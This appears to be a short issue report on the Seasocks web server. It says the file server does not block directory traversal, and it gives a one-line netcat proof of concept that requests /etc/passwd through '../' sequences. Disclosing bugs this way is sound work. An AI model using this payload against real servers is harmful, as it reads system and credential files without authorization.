seasocks
seasocks copied to clipboard
No checks for ../../.. type shenanigans in file server
Not that Seasocks is really meant for secure applications, but...
echo $'GET /../../../../../../../etc/passwd HTTP/1.1\r\n\r\n' | nc localhost 3146
..."works" to get the password file.